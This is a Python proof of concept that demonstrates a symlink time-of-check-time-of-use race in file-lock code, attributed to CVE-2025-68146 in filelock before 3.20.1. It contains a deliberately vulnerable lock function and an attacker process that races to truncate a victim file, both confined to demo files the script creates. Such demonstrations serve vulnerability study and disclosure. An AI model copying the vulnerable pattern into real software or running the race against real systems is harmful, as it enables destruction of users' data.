Vulnerable code sample

import os
import time
import multiprocessing
import pathlib
import sys

# This code demonstrates the Time-of-Check-Time-of-Use (TOCTOU) race condition
# described in CVE-2025-68146, as it would exist in filelock versions prior to 3.20.1.
# The vulnerability lies in the non-atomic check and creation of the lock file.

# --- Configuration ---
# A predictable path for the lock file, as would be used by an application.
LOCK_FILE = pathlib.Path("./vulnerable-app.lock")
# A target file that the attacker wants to corrupt (truncate).
VICTIM_FILE = pathlib.Path("./user_data.txt")
VICTIM_CONTENT = "This is critical data that must not be deleted."
RUN_DURATION_SECONDS = 3

def vulnerable_lock_acquire(lock_path):
    """
    Simulates the vulnerable file locking logic from filelock < 3.20.1.
    """
    # TIME-OF-CHECK: The library first checks if the lock file exists. This
    # operation is not atomic with the subsequent file open operation.
    if os.path.lexists(lock_path):
        # In a real library, it might try to read a PID or perform other checks.
        # This non-atomic check opens a window for a race condition.
        pass

    # --- RACE CONDITION WINDOW ---
    # At this exact moment, an attacker can replace `lock_path` with a
    # symbolic link pointing to a different file (`VICTIM_FILE`).
    # ---

    # TIME-OF-USE: The library opens the file with the O_TRUNC flag.
    # By default, os.open() follows symlinks. If the attacker has placed
    # a symlink, this call will open the *target* of the symlink and truncate
    # it to zero bytes, destroying its content. The lack of os.O_EXCL is the key flaw.
    try:
        # This is the vulnerable operation that follows the symlink and truncates.
        fd = os.open(lock_path, os.O_WRONLY | os.O_CREAT | os.O_TRUNC)
        os.close(fd)
    except OSError:
        # The operation may fail (e.g., if the symlink target is a directory),
        # but the damage (truncation) may have already occurred.
        pass

def vulnerable_application_process(stop_event):
    """
    This process simulates a legitimate application that uses the vulnerable
    locking mechanism in a loop.
    """
    while not stop_event.is_set():
        vulnerable_lock_acquire(LOCK_FILE)
        # The application releases the lock by deleting the file, allowing the
        # attacker to attempt the race on the next acquisition.
        try:
            os.remove(LOCK_FILE)
        except OSError:
            pass
        time.sleep(0.01)

def attacker_process(stop_event):
    """
    This process attempts to exploit the TOCTOU race condition by creating a
    symbolic link in the window between the check and the use.
    """
    while not stop_event.is_set():
        try:
            # The attacker continuously tries to create a symlink from the
            # predictable lock file path to the victim's data file.
            os.symlink(VICTIM_FILE, LOCK_FILE)
        except FileExistsError:
            # This means the lock file was created by the victim app before we could
            # create the symlink. We just wait for it to be deleted and try again.
            time.sleep(0.001)
        except Exception:
            # Ignore other potential errors and keep trying.
            pass

def main():
    """
    Sets up the environment and runs the victim and attacker processes to
    demonstrate the vulnerability.
    """
    # On Windows, creating symlinks may require administrator privileges or
    # "Developer Mode" to be enabled.
    if sys.platform == "win32" and not os.access(".", os.W_OK | os.X_OK):
        print("Warning: Symlink creation on Windows may require special privileges.")

    # 1. Setup: Create the victim file with some data.
    VICTIM_FILE.write_text(VICTIM_CONTENT)
    print(f"[SETUP] Created victim file '{VICTIM_FILE}' with content.")
    print(f"[SETUP] Initial content: '{VICTIM_FILE.read_text()}'\n")

    stop_event = multiprocessing.Event()

    # 2. Start the vulnerable application and the attacker.
    victim = multiprocessing.Process(target=vulnerable_application_process, args=(stop_event,))
    attacker = multiprocessing.Process(target=attacker_process, args=(stop_event,))

    print(f"[DEMO] Starting vulnerable application and attacker processes...")
    print(f"[DEMO] Running for {RUN_DURATION_SECONDS} seconds to trigger the race condition.\n")
    victim.start()
    attacker.start()

    time.sleep(RUN_DURATION_SECONDS)

    # 3. Stop processes.
    stop_event.set()
    victim.join()
    attacker.join()

    # 4. Check the outcome.
    print("[RESULT] Checking if the attack was successful...")
    try:
        final_content = VICTIM_FILE.read_text()
        if not final_content:
            print(f"[SUCCESS] The attack succeeded. The victim file '{VICTIM_FILE}' has been truncated.")
            print(f"Final content: ''")
        else:
            print("[FAILURE] The attack did not succeed in this run. Try running the script again.")
    except FileNotFoundError:
        print(f"[ERROR] The victim file '{VICTIM_FILE}' was deleted, which is unexpected.")

    # 5. Cleanup.
    if LOCK_FILE.is_symlink() or LOCK_FILE.exists():
        LOCK_FILE.unlink()
    if VICTIM_FILE.exists():
        VICTIM_FILE.unlink()

if __name__ == "__main__":
    # Ensure cleanup happens even if the script is interrupted.
    try:
        main()
    finally:
        if LOCK_FILE.is_symlink() or LOCK_FILE.exists():
            LOCK_FILE.unlink(missing_ok=True)
        if VICTIM_FILE.exists():
            VICTIM_FILE.unlink(missing_ok=True)